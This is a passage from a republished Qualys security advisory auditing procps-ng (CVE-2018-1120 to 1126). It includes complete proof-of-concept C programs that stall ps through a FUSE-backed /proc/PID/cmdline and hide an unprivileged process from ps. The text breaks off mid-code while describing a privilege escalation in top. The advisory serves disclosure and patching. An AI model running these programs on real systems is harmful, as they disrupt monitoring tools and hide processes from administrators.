Procps-ng Audit Report
- Details
- Written by: khalil shreateh
- Category: Vulnerabilities
- Hits: 298
Qualys Security Advisory
Procps-ng Audit Report
=======================
Qualys Security Advisory
Procps-ng Audit Report
========================================================================
Contents
========================================================================
Summary
1. FUSE-backed /proc/PID/cmdline
2. Unprivileged process hiding
3. Local Privilege Escalation in top (Low Impact)
4. Denial of Service in ps
5. Local Privilege Escalation in libprocps (High Impact)
5.1. Vulnerability
5.2. Exploitation
5.3. Exploitation details
5.4. Non-PIE exploitation
5.5. PIE exploitation
Acknowledgments
========================================================================
Summary
========================================================================
We performed a complete audit of procps-ng, the "command line and full
screen utilities for browsing procfs, a 'pseudo' file system dynamically
generated by the [Linux] kernel to provide information about the status
of entries in its process table" (https://gitlab.com/procps-ng/procps).
procps-ng contains the utilities free, kill, pgrep, pidof, pkill, pmap,
ps, pwdx, skill, slabtop, snice, sysctl, tload, top, uptime, vmstat, w,
watch, and the necessary libprocps library.
We discovered and submitted patches for more than a hundred bugs and
vulnerabilities in procps-ng; for reference, our patches are available
at:
https://www.qualys.com/2018/05/17/procps-ng-audit-report-patches.tar.gz
In the remainder of this advisory, we present our most interesting
findings:
1. FUSE-backed /proc/PID/cmdline (CVE-2018-1120)
An attacker can block any read() access to /proc/PID/cmdline by
mmap()ing a FUSE file (Filesystem in Userspace) onto this process's
command-line arguments. The attacker can therefore block pgrep, pidof,
pkill, ps, and w, either forever (a denial of service), or for some
controlled time (a synchronization tool for exploiting other
vulnerabilities).
2. Unprivileged process hiding (CVE-2018-1121)
An unprivileged attacker can hide a process from procps-ng's
utilities, by exploiting either a denial of service (a rather noisy
method) or a race condition inherent in reading /proc/PID entries (a
stealthier method).
3. Local Privilege Escalation in top (CVE-2018-1122)
top reads its configuration file from the current working directory,
without any security check, if the HOME environment variable is unset
or empty. In this very unlikely scenario, an attacker can carry out an
LPE (Local Privilege Escalation) if an administrator executes top in
/tmp (for example), by exploiting one of several vulnerabilities in
top's config_file() function.
4. Denial of Service in ps (CVE-2018-1123)
An attacker can overflow the output buffer of ps, when executed by
another user, administrator, or script: a denial of service only (not
an LPE), because ps mmap()s its output buffer and mprotect()s its last
page with PROT_NONE (an effective guard page).
5. Local Privilege Escalation in libprocps (CVE-2018-1124)
An attacker can exploit an integer overflow in libprocps's
file2strvec() function and carry out an LPE when another user,
administrator, or script executes a vulnerable utility (pgrep, pidof,
pkill, and w are vulnerable by default; other utilities are vulnerable
if executed with non-default options). Moreover, an attacker's process
running inside a container can trigger this vulnerability in a utility
running outside the container: the attacker can exploit this userland
vulnerability and break out of the container or chroot. We will
publish our proof-of-concept exploits in the near future.
Additionally, CVE-2018-1125 has been assigned to
0008-pgrep-Prevent-a-potential-stack-based-buffer-overflo.patch, and
CVE-2018-1126 to 0035-proc-alloc.-Use-size_t-not-unsigned-int.patch.
========================================================================
1. FUSE-backed /proc/PID/cmdline (CVE-2018-1120)
========================================================================
In this experiment, we add a sleep(60) to hello_read() in
https://github.com/libfuse/libfuse/blob/master/example/hello.c and
compile it, mount it on /tmp/fuse, and mmap() /tmp/fuse/hello onto the
command-line arguments of a simple proof-of-concept:
$ gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello
$ mkdir /tmp/fuse
$ ./hello /tmp/fuse
$ cat > fuse-backed-cmdline.c << "EOF"
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#define die() do {
fprintf(stderr, "died in %s: %u ", __func__, __LINE__);
exit(EXIT_FAILURE);
} while (0)
#define PAGESZ ((size_t)4096)
int
main(const int argc, const char * const argv[])
{
if (argc <= 0) die();
const char * const arg_start = argv[0];
const char * const last_arg = argv[argc-1];
const char * const arg_end = last_arg + strlen(last_arg) + 1;
if (arg_end <= arg_start) die();
const size_t len = arg_end - arg_start;
if (len < 2 * PAGESZ) die();
char * const addr = (char *)(((size_t)arg_start + PAGESZ-1) & ~(PAGESZ-1));
if (addr < arg_start) die();
if (addr + PAGESZ > arg_end) die();
const int fd = open("/tmp/fuse/hello", O_RDONLY);
if (fd <= -1) die();
if (mmap(addr, PAGESZ, PROT_READ, MAP_PRIVATE | MAP_FIXED, fd, 0) != addr) die();
if (close(fd)) die();
for (;;) {
sleep(1);
}
die();
}
EOF
$ gcc -Wall fuse-backed-cmdline.c -o fuse-backed-cmdline
$ ./fuse-backed-cmdline `perl -e 'print "A" x 8192'`
Then, if root executes ps (for example):
# time ps ax
PID TTY STAT TIME COMMAND
...
real 1m0.021s
user 0m0.003s
sys 0m0.017s
========================================================================
2. Unprivileged process hiding (CVE-2018-1121)
========================================================================
Several procps-ng utilities (pgrep, pidof, pkill, ps, w) read the
/proc/PID/cmdline of every process running on the system; hence, an
unprivileged attacker can hide a process (albeit noisily) by exploiting
a denial of service in procps-ng (for example, the FUSE-backed denial of
service, or one of the integer overflows in file2strvec()).
Alternatively, we devised a stealthier method for hiding a process:
1/ fork() our process until it occupies the last PID
(/proc/sys/kernel/pid_max - 1) or one of the last PIDs;
2/ monitor (with inotify) the /proc directory and the /proc/PID/stat
file of one of the very first PIDs, for IN_OPEN events (opendir() and
open());
3/ when these events occur (when a procps-ng utility starts scanning
/proc for /proc/PID entries), fork() our process until its PID wraps
around and occupies one of the very first PIDs;
4/ monitor (with inotify) the /proc directory for an IN_CLOSE_NOWRITE
event (closedir());
5/ when this event occurs (when the procps-ng utility stops scanning
/proc), go back to 1/.
This simple method works, because the kernel's proc_pid_readdir()
function returns the /proc/PID entries in ascending numerical order.
Moreover, this race condition can be made deterministic by using a
FUSE-backed /proc/PID/cmdline as a synchronization tool.
$ cat > unprivileged-process-hiding.c << "EOF"
#include <errno.h>
#include <limits.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#define die() do {
fprintf(stderr, "died in %s: %u ", __func__, __LINE__);
exit(EXIT_FAILURE);
} while (0)
int
main(void)
{
for (;;) {
char lost[64];
{
const pid_t hi = getpid();
pid_t lo = fork();
if (lo <= -1) die();
if (!lo) { /* child */
lo = getpid();
if (lo < hi) exit(EXIT_SUCCESS); /* parent continues */
for (;;) {
if (kill(hi, 0) != -1) continue;
if (errno != ESRCH) die();
break;
}
continue;
}
/* parent */
if (lo > hi) exit(EXIT_FAILURE); /* child continues */
int status = 0;
if (waitpid(lo, &status, 0) != lo) die();
if (!WIFEXITED(status)) die();
if (WEXITSTATUS(status) != EXIT_SUCCESS) die();
printf("%d -> %d -> ", hi, lo);
for (;;) {
struct stat st;
if (--lo <= 0) die();
snprintf(lost, sizeof(lost), "/proc/%d/stat", lo);
if (stat(lost, &st) == 0) break;
}
printf("%d ", lo);
}
const int pofd = inotify_init();
if (pofd <= -1) die();
if (inotify_add_watch(pofd, "/proc", IN_OPEN) <= -1) die();
const int lofd = inotify_init();
if (lofd <= -1) die();
if (inotify_add_watch(lofd, lost, IN_OPEN) <= -1) die();
const int pcfd = inotify_init();
if (pcfd <= -1) die();
if (inotify_add_watch(pcfd, "/proc", IN_CLOSE_NOWRITE) <= -1) die();
char buf[sizeof(struct inotify_event) + NAME_MAX + 1];
const struct inotify_event * const evp = (void *)buf;
for (;;) {
if (read(pofd, buf, sizeof(buf)) < (ssize_t)sizeof(*evp)) die();
if (evp->mask & IN_ISDIR) break;
}
if (read(lofd, buf, sizeof(buf)) < (ssize_t)sizeof(*evp)) die();
for (;;) {
const pid_t hi = getpid();
pid_t lo = fork();
if (lo <= -1) die();
if (lo) exit(EXIT_SUCCESS); /* parent */
/* child */
lo = getpid();
if (lo < hi) {
printf("%d -> %d ", hi, lo);
break;
}
}
for (;;) {
if (read(pcfd, buf, sizeof(buf)) < (ssize_t)sizeof(*evp)) die();
if (evp->mask & IN_ISDIR) break;
}
if (close(pofd)) die();
if (close(lofd)) die();
if (close(pcfd)) die();
}
die();
}
EOF
$ gcc -Wall unprivileged-process-hiding.c -o unprivileged-process-hiding
$ ./unprivileged-process-hiding
Then, if root executes ps (for example):
# ps ax | grep '[u]nprivileged-process-hiding' | wc
0 0 0
========================================================================
3. Local Privilege Escalation in top (CVE-2018-1122)
========================================================================
If a/ an administrator executes top in a directory writable by an
attacker and b/ the HOME environment variable is unset or empty, then
top reads its configuration file from the current working directory,
without any security check:
3829 static void configs_read (void) {
....
3847 p_home = getenv("HOME");
3848 if (!p_home || p_home[0] == '